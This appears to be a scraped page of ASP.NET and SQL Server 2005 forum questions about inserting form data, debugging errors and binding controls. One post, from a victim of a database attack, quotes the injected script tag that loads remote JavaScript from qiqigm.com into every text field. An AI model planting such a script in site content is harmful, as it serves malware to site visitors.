Inserting Data In SQL 2005 Using Javascript From A Form Object
Mar 4, 2008
I am new to ASP.NET. At present i am developing a web application in which i need to insert data in database(MS SQL 2005) from a form which uses only HTML controls. I need to use HTML controls so posting of form to the server is not done and hence i need to generate HTML controls using javascript. So the data in the form must be stored in the database. How this data can be inserted in the database is the problem and i think that javascript might be the solution for it.
Greetings to all - I am trying to enter the date fields from my form into a SQL 2005 db by way of Visual Basic. The VB parameters are as follows: Protected Sub DataEntry_Btn_NewGig_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles DataEntry_Btn_NewData.Click Dim EnterData As New SqlDataSource() EnterData.ConnectionString = ConfigurationManager.ConnectionStrings("MyDB_ConnectionString").ToString EnterData.InsertCommandType = SqlDataSourceCommandType.Text EnterData.InsertCommand = "INSERT INTO Data(Name,ExpertiseID,Description,PONumber,StartDate,EstHours,HourlyRate)VALUES(@Name,@ExpertiseID,@Description,@PONumber,@StartDate,@EstHours,@HourlyRate)" EnterData.InsertParameters.Add("Name", TBox_Name.Text) EnterData.InsertParameters.Add("ExpertiseID", Drop_Expertise.SelectedValue) EnterData.InsertParameters.Add("Description", TBox_Description.Text) ...and so on... All works well with data input into the ASP form using VB. The problem is, I'm using a Javascript date picker (calendar) to make it easier for users to input the date into the "StartDate" SQL column mentioned above. Do I want to use Javascript to enter this data, or VB? And, how do I write this code whether it is one or the other? I want to have all data entered with one button click event. Also, the code I am using for the calendar date picker is below: <td><input type="text" name="date" id="f_date_a" readonly="readonly" /> <img src="img.gif" id="f_trigger_a" style="cursor: pointer; border: 1px solid blue;" title="Date selector" onmouseover="this.style.background='blue';" onmouseout="this.style.background=''" alt="Click to Enter Date"/>
<script type="text/javascript">Calendar.setup({inputField : "f_date_a",ifFormat : "%B %e, %Y",button : "f_trigger_a",align : "TL",singleClick : true }); </script></td> I apologize if this post is in the wrong forum; thanks to all in advance...
I have a report with a fixed header that works properly when the query returns results (or fixedheader = false). However, when the result set is empty, I get tenacious client-side "object required" errors. Obviously I can either turn the fixedheaders off or disable debugging in IE, but is there a Microsoft fix for this problem?
Each time I press submit to insert data into the database I receive the following message. I use the same code on another page and it works fine. Here is the error:
Object reference not set to an instance of an object. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.NullReferenceException: Object reference not set to an instance of an object.
Source Error:
Line 125: MyCommand.Parameters("@Balance").Value = txtBalance.Text Line 126: Line 127: MyCommand.Connection.Open() Line 128: Line 129: Try
[NullReferenceException: Object reference not set to an instance of an object.] CreditRepair.CreditRepair.Vb.Creditor_Default.btnSaveAdd_Click(Object sender, EventArgs e) in c:inetpubwwwrootCreditRepairCreditor_Default.aspx.vb:127 System.Web.UI.WebControls.Button.OnClick(EventArgs e) System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String eventArgument) System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) System.Web.UI.Page.ProcessRequestMain()
Private Sub btnSave_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSave.Click
If (Page.IsValid) Then
Dim DS As DataSet Dim MyCommand As SqlCommand
Dim AddAccount As String = "insert into AccountDetails (Account_ID, Report_ID, Balance) values (@Account_ID, @Report_ID, @Balance)"
MyCommand = New SqlCommand(AddAccount, MyConnection)
I need help to resolve the following problem. I have a form that is supposed to insert data into my data base. But I get an error message when I click submit. Below is the Code and after that is the error message that I get. Thank you in advance.
<%@ Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="cc1" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script runat="server">Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) End SubProtected Sub insertSubmitBtn_Click(ByVal sender As Object, ByVal e As System.EventArgs) SqlDataSource1.Insert()End Sub </script><html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title>Untitled Page</title> <script type="text/javascript"> function pageLoad() { }
Invalid postback or callback argument. Event validation is enabled using <pages enableEventValidation="true"/> in configuration or <%@ Page EnableEventValidation="true" %> in a page. For security purposes, this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them. If the data is valid and expected, use the ClientScriptManager.RegisterForEventValidation method in order to register the postback or callback data for validation. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.ArgumentException: Invalid postback or callback argument. Event validation is enabled using <pages enableEventValidation="true"/> in configuration or <%@ Page EnableEventValidation="true" %> in a page. For security purposes, this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them. If the data is valid and expected, use the ClientScriptManager.RegisterForEventValidation method in order to register the postback or callback data for validation.Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. Stack Trace:
[ArgumentException: Invalid postback or callback argument. Event validation is enabled using <pages enableEventValidation="true"/> in configuration or <%@ Page EnableEventValidation="true" %> in a page. For security purposes, this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them. If the data is valid and expected, use the ClientScriptManager.RegisterForEventValidation method in order to register the postback or callback data for validation.] System.Web.UI.ClientScriptManager.ValidateEvent(String uniqueId, String argument) +2132728 System.Web.UI.Control.ValidateEvent(String uniqueID, String eventArgument) +108 System.Web.UI.WebControls.DropDownList.LoadPostData(String postDataKey, NameValueCollection postCollection) +55 System.Web.UI.WebControls.DropDownList.System.Web.UI.IPostBackDataHandler.LoadPostData(String postDataKey, NameValueCollection postCollection) +11 System.Web.UI.Page.ProcessPostData(NameValueCollection postData, Boolean fBeforeLoad) +353 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1194
4 Layered Web Application for Inserting data into a database using sql server as the back end and a web form as the front end using C# . Can someone provide with code as I am new to this architecture and framework. Better send email. Thanks In Advance, A New Bie
Im trying run a stored procedure, but I am getting the following message when trying to execute it.
Implicit conversion from data type datetime to int is not allowed. Use the CONVERT function to run this query.
which seems strange, as there is no integer going to a datetime field. Also, it does not return the value that is incorrect, nor the parameter that is failing. If there is anyway to view this in VS 2005 Team suite, please let me know.
It should also be noted that when I execute this sproc from within sql management studio, it executes fine.
This is the stored procedure im trying to execute...
in my .net app, all the datetime objects are valid dates, so I could not see why this would be generating the error that it is, so I ran the SQL Profiler, and this was the output. Again, i cannot see where im going wrong...
please note, I have seperated the output from the single slab of text, making sure I didnt remove anything...
I've got a report that works great from vs.net, however when I deploy and attempt to run from reportviewer over asp.net, the date parameters do not take. they reset to default and don't impact that report. Also the calendar icon, produces a javascript error "OBJECT REQUIRED" on the below line.
Hi; I would like to run a DTS package from the On click button event on a web form. I tried using code that works in a windows form. But ASP.net, VS 2005 doesn't like the code. Here are the libraries that I used with the windows form. Imports System, Imports System.Data. Imports System.Data.SqlClient. Is there a library that I am missing ? And here are the lines of code that won't compile: Dim oPackage As New DTS.Package2Class Dim oStep As DTS.Step Package.LoadFromSQLServer("123WXYZTRSQL", , , DTS.DTSSQLServerStorageFlags.DTSSQLStgFlag_UseTrustedConnection, , , , "cpyPrinters2Excel", ) I am able to run the above in a windows form with no problem. Thanks for any insights, Gordon
I have a database in ACCESS and i want everytime that there is a change made in Access the cude in SQL server to be automatically updated .Is there a way that this can be done with Integration Services?
i wanted to ask how to insert values from a single web form into two sql tables, i have been looking and the visual web developer i use doesnt seam to allow me to even atempt it i've tried selecting all the values from two different tables and then adding those two tables to an insert function but it doesnt work likewise the update functioni have values in a table currently a reference number and i want to use this reference number to update the address values in this table so update this field.table1 and thisfield.table2 when ref number = @ refnumber the reference number is present in both tables and is linked PK to FK <asp:SqlDataSource ID="SqlDataSource2" runat="server" ConnectionString="<%$ ConnectionStrings:Back End DataConnectionString %>" SelectCommand="SELECT StartDetails.StartDetailsID, StartDetails.ContractIDNo, StartDetails.ContractName, StartDetails.NINO, StartDetails.AnticipatedStartDate, StartDetails.StartDateTime, StartDetails.StartDateLetterSent, StartDetails.StartDate, StartDetails.AnticipatedEndDate, StartDetails.ActualEndDate, StartDetails.ReasonForLeaving, StartDetails.Provider, StartDetails.AdviserReferrer, StartDetails.ProvisionCat, StartDetails.Provision, ClientDetails.NINO AS Expr1, ClientDetails.CentreNo, ClientDetails.FirstName, ClientDetails.SecondName, ClientDetails.AddressLine1, ClientDetails.AddressLine2, ClientDetails.PostCode, ClientDetails.ContactTelephoneNumber, ClientDetails.MobileNo, ClientDetails.Email, ClientDetails.DateOfBirth, ClientDetails.Gender, ClientDetails.PWD, ClientDetails.Ethnicity, ClientDetails.ClientGroup, ClientDetails.RepeatStartDate, ClientDetails.CaseworkerName, ClientDetails.ClientStatus, ClientDetails.PlacementDates, ClientDetails.JobsearchDay, ClientDetails.AchievedILP, ClientDetails.JobDate, ClientDetails.JobDate2, ClientDetails.JobDate3, ClientDetails.EligibleForRolledUpWeeks, ClientDetails.NoOfWeeksClaimed, ClientDetails.MarketingWhere, ClientDetails.Notes, ClientDetails.JobCentre, ClientDetails.JobCentreRep FROM StartDetails INNER JOIN ClientDetails ON StartDetails.NINO = ClientDetails.NINO WHERE (StartDetails.StartDetailsID = @StartDetailsID) AND (StartDetails.NINO = @NINO)" InsertCommand="INSERT INTO [StartDetails] ([NINO], [StartDate], [AnticipatedEndDate]) VALUES (@NINO, @StartDate, @AnticipatedEndDate)"
I have a form setup, the code of which is listed below, and I would like to be able to submit the data that is entered in the form to a SQL 2005 standard database via the SqlDataSource control and a button. I'm just having trouble doing so because of the coding. Any help or suggestions would be greata s I've already read through the tutorials on this site and they don't go in depth very much. Thanks! <%@ Page Language="VB" %> <%@ Register Assembly="BasicFrame.WebControls.BasicDatePicker" Namespace="BasicFrame.WebControls" TagPrefix="BDP" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <%@ import Namespace="System.Data" %> <%@ import Namespace="System.Data.SqlClient" %> <Script runat="server"> Private Sub InsertData(ByVal Source As Object, ByVal e As EventArgs) SqlDataSource1.Insert() End Sub </Script>
<html xmlns="http://www.w3.org/1999/xhtml" > <head runat="server"> <title>Weston E-Vault - New Customer Sign-Up Form</title> </head> <body> <form id="form1" runat="server"> <div style="text-align: center"> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="Data Source=C26819_24561;Initial Catalog=ebackups;Integrated Security=True;User Instance=False" ProviderName="System.Data.SqlClient" InsertCommand="INSERT INTO backup_info(cust_name, cust_phone, cust_contact, cust_analyst, storage_plan, install_date, backup_data, backupexec_option, backup_program, cust_email) VALUES (@cust_name, @cust_phone, @cust_contact, @cust_analyst, @storage_plan, @install_date, @backup_data, @backupexec_option, @backup_program, @cust_email)"> <InsertParameters> <asp:ControlParameter ControlID="DropDownList1" DefaultValue="" Name="@cust_name" PropertyName="SelectedValue" /> <asp:ControlParameter ControlID="TextBox1" Name="@cust_contact" PropertyName="Text" /> <asp:ControlParameter ControlID="TextBox2" Name="@cust_phone" PropertyName="Text" /> <asp:ControlParameter ControlID="DropDownList3" Name="@cust_analyst" PropertyName="SelectedValue" /> <asp:ControlParameter ControlID="BDPLite1" Name="@install_date" PropertyName="Controls" /> <asp:ControlParameter ControlID="TextBox3" Name="@cust_username" PropertyName="Text" /> <asp:ControlParameter ControlID="TextBox4" Name="@cust_password" PropertyName="Text" /> <asp:ControlParameter ControlID="DropDownList2" Name="@storage_plan" PropertyName="SelectedValue" /> <asp:ControlParameter ControlID="TextBox5" Name="@backup_data" PropertyName="Text" /> <asp:ControlParameter ControlID="RadioButtonList1" Name="@backupexec_option" PropertyName="SelectedValue" /> <asp:ControlParameter ControlID="TextBox6" Name="@backup_program" PropertyName="Text" /> <asp:ControlParameter ControlID="TextBox7" Name="@cust_email" PropertyName="Text" /> </InsertParameters> </asp:SqlDataSource> <br /> <br /> <br /> <table> <tr> <td style="width: 100px"> <img src="/images/westonevault_logo.jpg" /></td> <td style="width: 703px; text-align: right"> <asp:Button ID="Button1" runat="server" BackColor="White" BorderColor="Navy" BorderStyle="Solid" BorderWidth="1px" Font-Names="verdana" Font-Size="Small" ForeColor="Navy" PostBackUrl="~/secure/tech_home.aspx" Text="Back" /><span style="font-size: 8pt; color: #000099"> </span></td> </tr> </table> <br /> <br /> <img src="/images/div.jpg" style="font-size: 8pt; color: #000099" /><br /> <br /> <div style="text-align: center"> <table style="font-size: 8pt; width: 730px; color: #000099; font-family: Verdana"> <tr> <td colspan="3" style="font-weight: bold; font-family: Verdana; text-align: left"> <span style="color: #000099">Customer Information<br /> </span> <hr style="color: #000099" /> <span style="font-weight: normal; font-size: 8pt; color: #000099">Please enter all customer data as accurately as possible. Any incorrect information on this form may result in incorrect data being backed up, reports not reaching the customer or they may<span style="font-size: 12pt"><strong> </strong><span style="font-size: 8pt">not receive the need</span></span>ed amount of disk space.<br /> <br /> </span> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px; text-align: left"> <span style="font-family: Verdana"><span style="color: navy">Customer Name:<br /> </span> <asp:DropDownList ID="DropDownList1" runat="server" DataValueField="cust_name" Font-Names="Verdana" Font-Size="X-Small" ForeColor="Navy" Width="178px"> <asp:ListItem Selected="True">Select Customer Name.....</asp:ListItem> <asp:ListItem>Alaska Road Boring</asp:ListItem> <asp:ListItem>Allen and Peterson</asp:ListItem> <asp:ListItem>AK Guns</asp:ListItem> <asp:ListItem>ATS Alaska</asp:ListItem> <asp:ListItem>BC Contractors</asp:ListItem> <asp:ListItem>Bek of Alaska</asp:ListItem> <asp:ListItem>Brokentop Community Assoc.</asp:ListItem> <asp:ListItem>COHRA</asp:ListItem> <asp:ListItem>Crisis Pregnancy Center</asp:ListItem> <asp:ListItem>Gaines and Co.</asp:ListItem> <asp:ListItem Value="Gil Damond">Gil Damond</asp:ListItem> <asp:ListItem>GMW Fire</asp:ListItem> <asp:ListItem>Integrity Funding</asp:ListItem> <asp:ListItem>La Pine Community Clinic</asp:ListItem> <asp:ListItem>La Pine Fire District</asp:ListItem> <asp:ListItem>Lumbermens Ins.</asp:ListItem> <asp:ListItem>Murray</asp:ListItem> <asp:ListItem>NEI</asp:ListItem> <asp:ListItem>Northstar Center</asp:ListItem> <asp:ListItem>Redi Electric</asp:ListItem> <asp:ListItem>Robberson Ford</asp:ListItem> <asp:ListItem>South Anchorage District Office</asp:ListItem> <asp:ListItem>St. George Tanaq</asp:ListItem> <asp:ListItem>Stinebaugh</asp:ListItem> <asp:ListItem>THT Electric</asp:ListItem> <asp:ListItem>Watterson</asp:ListItem> <asp:ListItem>United Auto</asp:ListItem> <asp:ListItem>Weston - ANC</asp:ListItem> <asp:ListItem>Weston - BND</asp:ListItem> <asp:ListItem></asp:ListItem> </asp:DropDownList><br /> </span> </td> <td style="width: 187px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Customer Contact:<br /> </span> <asp:TextBox ID="TextBox1" runat="server" Font-Names="Verdana" Font-Size="X-Small" Width="164px"></asp:TextBox><br /> </span> </td> <td style="width: 136px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Customer Phone:<br /> </span> <asp:TextBox ID="TextBox2" runat="server" Font-Names="verdana" Font-Size="X-Small"></asp:TextBox><br /> </span> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Customer E-Vault Username:<br /> </span> <asp:TextBox ID="TextBox3" runat="server" Font-Names="Verdana" Font-Size="X-Small" Width="150px"></asp:TextBox><br /> </span> </td> <td style="width: 187px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Customer E-Vault Password:<br /> </span> <asp:TextBox ID="TextBox4" runat="server" Font-Names="Verdana" Font-Size="X-Small" TextMode="Password" Width="150px"></asp:TextBox><br /> </span> </td> <td style="width: 136px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">E-Vault Storage Plan:<br /> </span> <asp:DropDownList ID="DropDownList2" runat="server" DataValueField="storage_plan" Font-Names="Verdana" Font-Size="X-Small" ForeColor="Navy"> <asp:ListItem Selected="True">Select Plan.....</asp:ListItem> <asp:ListItem>0-300MB</asp:ListItem> <asp:ListItem>300MB-2GB</asp:ListItem> <asp:ListItem>2GB-4GB</asp:ListItem> <asp:ListItem>4GB-6GB</asp:ListItem> <asp:ListItem>6GB-8GB</asp:ListItem> <asp:ListItem>8GB-15GB</asp:ListItem> <asp:ListItem>15GB-25GB</asp:ListItem> <asp:ListItem>25GB-35GB</asp:ListItem> <asp:ListItem>35GB-50GB</asp:ListItem> <asp:ListItem>50GB-100GB</asp:ListItem> <asp:ListItem>100GB-200GB</asp:ListItem> </asp:DropDownList><br /> </span> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Analyst:<br /> </span> <asp:DropDownList ID="DropDownList3" runat="server" DataValueField="cust_analyst" Font-Names="Verdana" Font-Size="X-Small" ForeColor="Navy" Width="162px"> <asp:ListItem>Select Analyst.....</asp:ListItem> <asp:ListItem>Brock McFarlane</asp:ListItem> <asp:ListItem>Cameron Farrally</asp:ListItem> <asp:ListItem>Chad Huls</asp:ListItem> <asp:ListItem>Eric Spinney</asp:ListItem> <asp:ListItem>Greg Freeman</asp:ListItem> <asp:ListItem>Harald Smit</asp:ListItem> <asp:ListItem>Kevin Mark</asp:ListItem> <asp:ListItem>Mark Anderson</asp:ListItem> <asp:ListItem>Mike Murphy</asp:ListItem> <asp:ListItem>Tim Elder</asp:ListItem> </asp:DropDownList><br /> </span> </td> <td style="width: 187px; text-align: left"> <span style="font-family: Verdana"><span style="color: #000099">Today's Date: (mm/dd/yyy)<br /> </span> <bdp:bdplite id="BDPLite1" runat="server" borderstyle="None" cssclass="bdpLite" dateformat="ShortDate" font-bold="False" font-names="verdana" font-size="X-Small" forecolor="Navy" selecteddate=""></bdp:bdplite> </span> </td> <td style="width: 136px; text-align: left"> <br /> </td> </tr> <tr style="font-size: 8pt"> <td colspan="3"> </td> </tr> <tr style="font-size: 8pt"> <td colspan="3" style="text-align: left"> <span style="font-family: Verdana"><span style="color: #000099"><strong> <br /> Backup Data<br /> <hr style="color: #000099" /> </strong><span>Please enter all directories and/or files and folders the customer wishes to have backed up. Be thourough yet brief as this is for historical and record keeping purposes.<br /> <br /> </span></span></span> </td> </tr> <tr style="font-size: 8pt"> <td colspan="3" style="text-align: left"> <asp:TextBox ID="TextBox5" runat="server" ForeColor="#000000" Height="130px" MaxLength="200" TextMode="MultiLine" Width="503px"></asp:TextBox><br /> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px"> </td> <td style="width: 187px"> </td> <td style="width: 136px"> </td> </tr> <tr style="font-size: 8pt"> <td colspan="3" style="text-align: left"> <span style="font-family: Verdana"><span style="color: #000099"><strong> <br /> BackupExec / NTBackup<br /> <hr style="color: #000099" /> </strong><span>Does the customer have another backup program running that backs up their files to tape or another physical media.<br /> <br /> </span></span></span> </td> </tr> <tr style="font-size: 8pt"> <td colspan="2" style="height: 41px; text-align: left"> <asp:RadioButtonList ID="RadioButtonList1" runat="server" Font-Names="Verdana" Font-Size="X-Small" ForeColor="Navy" RepeatDirection="Horizontal" Width="127px"> <asp:ListItem Value="Yes">Yes</asp:ListItem> <asp:ListItem Value="No">No</asp:ListItem> </asp:RadioButtonList><span style="font-family: Verdana"><span style="color: #000099">If "Yes", what program do they use?</span> <asp:TextBox ID="TextBox6" runat="server" Font-Names="Verdana" Font-Size="X-Small" Width="200px"></asp:TextBox><br /> </span> </td> <td style="width: 136px; height: 41px"> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px"> </td> <td style="width: 187px"> </td> <td style="width: 136px"> </td> </tr> <tr style="font-size: 8pt"> <td colspan="3" style="text-align: left"> <span style="color: #000099"><span style="font-family: Verdana"><strong> <br /> E-Mail Notifications<br /> <hr style="color: #000099" /> </strong><span>Does the customer wish to receive weekly reports about their backups? (This includes what directories are being backed up, how much storage space they have used on their plan and how much storage space is remaining).If so enter their e-mail address below. If they don't want to receive notifications, you can skip this section.<br /> <br /> </span></span></span> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px; text-align: left"> <asp:TextBox ID="TextBox7" runat="server" Font-Names="Verdana" Font-Size="XX-Small" ForeColor="Navy" Width="201px"> N/A</asp:TextBox></td> <td style="width: 187px"> </td> <td style="width: 136px"> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px"> </td> <td style="width: 187px"> </td> <td style="width: 136px"> </td> </tr> <tr style="font-size: 8pt"> <td style="width: 174px; height: 26px"> </td> <td style="width: 187px; height: 26px; text-align: left"> <asp:Button ID="Button2" runat="server" BackColor="White" BorderColor="Navy" BorderStyle="Solid" BorderWidth="1px" Font-Names="verdana" Font-Size="Small" OnClick="InsertData" Text="Submit Form" /></td> <td style="width: 136px; height: 26px"> </td> </tr> </table> </div> <div style="text-align: center"> <img src="/images/div.jpg" /><br /> <br /> <span style="font-size: 7pt; font-family: Verdana">Copyright 2006 Weston Technology Solutions </span> </div>
I have a little question. I have an application which interfaces with a SQL Express Database. On a form, I want to bind a control which is made of several Radio buttons to a table column which is in fact a varchar(1). This is the picture:
Table column: OptVisualRpt varchar(1)
Screen control: 2 radio buttons
rb_VisRPTbImp_O for "yes"
rb_VisRPTbImp_N for "no"
I'm really scratching my head as how I can bind a single table column to my radio buttons controls. I think that I just can't this way but rather have to use an intermediate variable or control.
Solution 1?
I thought of using a local variable that I would set to "y" or "n" following "CheckedChanged" events fired from radio buttons but I don't know how to bind this variable to my table column.
Solution 2?
I thought of placing a hidden text control into my form, which one would be binded to my table column, that I would also set to "y" or "n" following "CheckedChanged" events fired from radio buttons.
Any of these solutions which would be feasible or any more neat way to do it?
This table is more or less always the same, but from time to time I want to add a new car type, for instance; Car_typeA_5, but this new type must be located under the last register, in the example under ‘Other_Cars_typeC’. So, now the order is wrong, and when I want to display these car types to a web form object, the items will appear wrong ordered.
My question is: To order the values(items) correctly, Where I have to do it? In the web page (ASP.NET) code behind, or somewhere in SQL Server (for example in the Stored Procedure that passes the value to the application)? Or maybe in the same database table..?
HelloI want to insert an iostream object into a ms acces db. I use ole-obect asthe data type for the specific column. Inserting a new record works fine butsomehow the field where the ole-object (iostream) has to be interted staysempty.Is ole-obect a proper data type for an iostream or should I use somethingelse.thanks for the responsestijn
I have a SQL Server 2000 database that had its data corrupted. Any text field, usually varchar(50) or greater, had most of its text replaced with a script HTML tag pointing to a w.js file on rnmb.net. I think the update came in through a website because only one of the databases on the server had its data corrupted. Has anyone heard of this before? I can't find any information on this corruption on the internet because when I do a search for the exact script, it returns other websites that have been corrupted by it.
Has anyone ever seen this code (I put the script tags in brackets so it would not get embedded in forum page)?
[script src=http://www.qiqigm.com/m.js][/script]
We have a number of MSDE 2000 databases running on a Windows 2003 SBS. These databases feed information to their respective websites. One of our databases (and on this one only) something or someone is somehow overwriting the text and varchar fields in all of the tables in the database and replacing it with the above or similar javascript. I've been a database developer and administrator for a long time and I have not a clue how this is being accomplished. When this code replaces our data, what ends up happening is 1) the virus detectors start going off the chart if you go to the site and 2) the script somehow appears to attempt to mimic the site its taken over.
When I do a search on qiqigm to see if anybody has had this problem before, really the results you get are pages and pages of sites that appear to be infected directly with the same bogus javascript code...and not a word about what it is or where its coming from. In our case, and it appears many others by looking, replacing the product description or title description or ordering information in the database causes the script to be written to the browser where otherwise the product/order information would be. This causes the script to run when the page is loaded. Since it overwrites the data in all fields in all tables, it assures itself that it will get displayed no matter what a user attempts to do on the site.
On this database, the only user that has access to the database is the IUSR_<domainadmin> account.
I restored this particular database a couple of days ago to an uninfected backup. I had done this before, but the script would eventually manifest itself again at some point. This time I have removed the ability to get to the product pages for now until we figure out the problem. This appears to be keeping the beast at bay. So far (2+ days), the database has remained in tact.
Anybody got a clue as to what it is I'm up against?
In VS 2005, using the ReportViewer control on a form in a Windows app, I've created an Object Data Source for the report by following the walkthrough in the documentation, it works.
Hello friends, So, this is my senario... i'm using SQL 2005 reporting service which reports are shown to the client from my web-site... I've included a report viewer in my ASPX page through which i'm displaying the reports. I wanted to know if their is any way by which i can embed a flash file in my report.
Secondly, i have some reports in which I have used the matrix control. And to display the headings of the columns i've created individual text-boxes & have made them overlap on the top region of the matrix.thoe these text boxoes are getting rendered in proper places when i preview the reports during design time, but when they get rendered in my website all the heading text-boxes get scattered all 'round the report......has anyone faced such weired problems & is there any alternate way of do'in the same ??
Hello all, I am having problems running a stored proc from an aspx.cs file. Basically I want to extract data from webForm controls and create a new record in a DB table. I have watched the "Getting Started" videos on thi site, and the only difference between my code and the code of the demonstrator is the connection string. My conn string:- dataSrc.ConnectionString = ConfigurationManager.ConnectionStrings["ProjectTblConnString"].ConnectionString;Demonstrator conn string:- dataSrc.ConnectionString = ConfigurationManager.ConnectionStrings("ProjectTblConnString");When I debug with the string as shown by the demonstrator the error list reports that ConnectionStrings is a property and I am trying to use it as a mothod, which is fair enough, but I am just confused as how it worked for the demonstrator and not myself. When I debug with the code I used above I get no error, but nothing is inserted in the DB.Also, it looks as if the only class in my aspx.cs file that is actually being executed is PageLoad() - the remainder of the code seems to be ignored. Below is the entired aspx.cs file:- 1 using System; 2 using System.Data; 3 using System.Configuration; 4 using System.Collections; 5 using System.Web; 6 using System.Web.Security; 7 using System.Web.UI; 8 using System.Web.UI.WebControls; 9 using System.Web.UI.WebControls.WebParts; 10 using System.Web.UI.HtmlControls; 11 12 public partial class CreateProject : System.Web.UI.Page 13 { 14 protected void Page_Load(object sender, EventArgs e) 15 { 16 17 if (User.Identity.IsAuthenticated == false) 18 { 19 Server.Transfer("Default.aspx"); 20 } 21 22 if (chkbox_startDate.Checked == true) 23 { 24 txtbox_startDate.ReadOnly = true; 25 txtbox_startDate.Text = (System.DateTime.Now.ToString()); 26 } 27 28 } 29 30 protected void btn_create_Click(object sender, EventArgs e) 31 { 32 //connection string for connecting to SQL Server DB 33 SqlDataSource dataSrc = new SqlDataSource(); 34 dataSrc.ConnectionString = ConfigurationManager.ConnectionStrings["ProjectTblConnString"].ConnectionString; 35 36 37 //insert data in table using the CreateNewProject stored proc in the DB 38 dataSrc.InsertCommandType = SqlDataSourceCommandType.StoredProcedure; 39 dataSrc.InsertCommand = "CreateNewProject"; 40 dataSrc.InsertParameters.Add("Project_Title", txtbox_title.ToString() ); 41 dataSrc.InsertParameters.Add("Description", txtbox_desc.ToString() ); 42 dataSrc.InsertParameters.Add("Start_Date", txtbox_startDate.ToString() ); 43 dataSrc.InsertParameters.Add("Primary_Dev_Lang", list_devLang.ToString() ); 44 dataSrc.InsertParameters.Add("Dev_Environment", list_devEnv.ToString() ); 45 dataSrc.InsertParameters.Add("No_Junior_Devs", txtbox_juniorDevs.ToString() ); 46 dataSrc.InsertParameters.Add("No_Senior_Devs", txtbox_seniorDevs.ToString() ); 47 48 int rowsAffected = 0; 49 try 50 { 51 rowsAffected = dataSrc.Insert(); 52 } 53 catch (Exception ex) 54 { 55 Server.Transfer(Error.aspx); 56 } 57 finally 58 { 59 dataSrc = null; 60 } 61 62 if (rowsAffected != 1) 63 { 64 label_confirm.Text = "Error, Contact system admin"; 65 } 66 else 67 { 68 label_confirm.Text = "Success"; 69 } 70 71 }//end btn_create 72 73 //if cancel is clicked set all values back to default 74 protected void btn_cancel_Click(object sender, EventArgs e) 75 { 76 txtbox_title.Text = ""; 77 txtbox_desc.Text = ""; 78 txtbox_startDate.Text = ""; 79 txtbox_seniorDevs.Text = ""; 80 txtbox_juniorDevs.Text = ""; 81 list_devEnv.SelectedIndex = 0; 82 list_devLang.SelectedIndex = 0; 83 chkbox_startDate.Checked = true; 84 label_confirm.Text = ""; 85 } 86 87 //if checked the current dateTime is inserted into txtbox 88 protected void chkbox_startDate_CheckedChanged(object sender, EventArgs e) 89 { 90 if (chkbox_startDate.Checked == true) 91 { 92 txtbox_startDate.ReadOnly = true; 93 txtbox_startDate.Text = (System.DateTime.Now.ToString()); 94 } 95 else 96 { 97 txtbox_startDate.ReadOnly = false; 98 txtbox_startDate.Text = ""; 99 } 100 }//end chkox 101 102 103 }//end class
Any help anyome can give is greatly appreciated. This is part of my Final Year College Dissertation which is due in 3wks !!!! Sláinte á chaire, Seán
Hi Friends, I am Ravi, I need a help. My case is like.. i need to upload data from csv file into sql server 2005 data table. but before that I need to check integrity of data for example: let us say csv data is like ISD CODE,STATE,NAME,QUALIFICATION 91,AP,KIRAN,MCA 01,MC,MIKE,MS
here i have to check that, wether there is an entry in ISD codes table for 91 and 01 (india and us) similarly AP , MC (Andhra Pradesh and MISSICippi) please suggest me a nice approach, no of records in ISD codes and States will 350-450 records.
Not sure if this is the right forum to post this question to, so if it's not, please accept my apologies.
I'm working in SQL Server 2005 with a database that was migrated to 2005 from SQL Server 2000. I have to alter a trigger on a table for some functionality changes, and when I modify the trigger and then access it through the application the database is working with, I receive this error:
There was a error in the [stored procedure name] procedure. Error Number: -2147217900 Error Description: [Microsoft][ODBC SQL Server Driver][SQL Server]The definition of object '[trigger name]' has changed since it was compiled.
[stored procedure name] and [trigger name] are where the actual names appear in the message.
I've tried running sp_recompile on the trigger, stored procedure, and table that are associated with this, and nothing works. I have dropped the trigger, which allows the save process to complete (but doesn't perform the required functionality, of course), and then re-created the trigger, but the error message still comes up. The compatibility level for the database is SQL Server 2000 (80) (as it was migrated from SQL Server 2000 as I mentioned above).
Has anyone seen this, and if so, how can I fix it?
